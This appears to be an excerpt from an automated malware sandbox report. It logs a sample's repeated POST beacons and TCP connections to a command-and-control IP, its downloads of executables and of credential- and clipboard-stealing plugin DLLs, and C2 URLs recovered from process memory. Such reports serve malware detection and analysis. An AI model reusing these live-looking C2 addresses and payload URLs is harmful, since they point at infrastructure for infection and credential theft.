Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4

Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147
Source: unknown	TCP traffic detected without corresponding DNS query: 185.81.68.147

Source: C:\Users\user\Desktop\mggoBrtk9t.exe

Code function: 0_2_00007FF7CDC41CDC InternetOpenW,Sleep,InternetOpenUrlW,InternetOpenUrlW,InternetCloseHandle,Sleep,HttpQueryInfoA,InternetCloseHandle,InternetCloseHandle,Sleep,InternetCloseHandle,InternetOpenUrlW,InternetCloseHandle,Sleep,HttpQueryInfoA,GetProcessHeap,RtlAllocateHeap,InternetCloseHandle,InternetCloseHandle,InternetReadFile,InternetCloseHandle,InternetCloseHandle,

0_2_00007FF7CDC41CDC

Source: global traffic	HTTP traffic detected: GET /ctx.exe HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3
Source: global traffic	HTTP traffic detected: GET /ssg.exe HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3
Source: global traffic	HTTP traffic detected: GET /update.exe HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3
Source: global traffic	HTTP traffic detected: GET /gfx.exe HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3
Source: global traffic	HTTP traffic detected: GET /7vhfjke3/Plugins/cred64.dll HTTP/1.1Host: 185.81.68.147
Source: global traffic	HTTP traffic detected: GET /7vhfjke3/Plugins/clip64.dll HTTP/1.1Host: 185.81.68.147

Source: unknown

HTTP traffic detected: POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3

Source: rundll32.exe, 00000021.00000002.3797376340.0000000002E85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.8
Source: Gxtuum.exe, 00000017.00000002.3805886910.0000000000826000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.147/
Source: Gxtuum.exe, 00000017.00000002.3805886910.0000000000826000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.147/$
Source: Gxtuum.exe, 00000017.00000002.3805886910.0000000000826000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.147/46122658-3693405117-2476756634-1003
Source: Gxtuum.exe, 00000017.00000002.3805886910.0000000000848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.147/7vhfjke3/Plugins/clip64.dll
Source: Gxtuum.exe, 00000017.00000002.3805886910.00000000007B7000.00000004.00000020.00020000.00000000.sdmp, Gxtuum.exe, 00000017.00000002.3805886910.00000000007FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.147/7vhfjke3/Plugins/cred64.dll
Source: Gxtuum.exe, 00000017.00000002.3805886910.00000000007FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.147/7vhfjke3/Plugins/cred64.dll$
Source: Gxtuum.exe, 00000017.00000002.3805886910.00000000007B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.147/7vhfjke3/Plugins/cred64.dllamingZ
Source: rundll32.exe, 0000001A.00000002.3469272832.0000022206438000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000001C.00000002.3004550203.00000247D3402000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000001C.00000003.2990680017.00000247D3409000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000021.00000002.3797376340.0000000002E60000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000021.00000002.3797376340.0000000002E1A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000022.00000002.3798980117.00000000031BA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000022.00000002.3798980117.00000000031FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.147/7vhfjke3/index.php
Source: Gxtuum.exe, 00000017.00000002.3805886910.00000000007FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.147/7vhfjke3/index.php#
Source: Gxtuum.exe, 00000017.00000002.3805886910.0000000000848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.147/7vhfjke3/index.php(q
Source: rundll32.exe, 00000022.00000002.3798980117.00000000031BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.147/7vhfjke3/index.php6)
Source: Gxtuum.exe, 00000017.00000002.3805886910.0000000000848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.147/7vhfjke3/index.php8q
Source: Gxtuum.exe, 00000017.00000002.3805886910.0000000000848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.147/7vhfjke3/index.php8r
Source: Gxtuum.exe, 00000017.00000002.3805886910.0000000000848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.147/7vhfjke3/index.phpEo8
Source: Gxtuum.exe, 00000017.00000002.3805886910.0000000000848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.147/7vhfjke3/index.phpHo5
Source: Gxtuum.exe, 00000017.00000002.3805886910.0000000000848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.147/7vhfjke3/index.phpHq
Source: Gxtuum.exe, 00000017.00000002.3805886910.0000000000848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.147/7vhfjke3/index.phpHr
Source: Gxtuum.exe, 00000017.00000002.3805886910.00000000007FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.147/7vhfjke3/index.phpI
Source: Gxtuum.exe, 00000017.00000002.3805886910.0000000000848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.147/7vhfjke3/index.phpXq
Source: Gxtuum.exe, 00000017.00000002.3805886910.0000000000848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.147/7vhfjke3/index.phpYbB
Source: Gxtuum.exe, 00000017.00000002.3805886910.0000000000848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.81.68.147/7vhfjke3/index.phpb8b
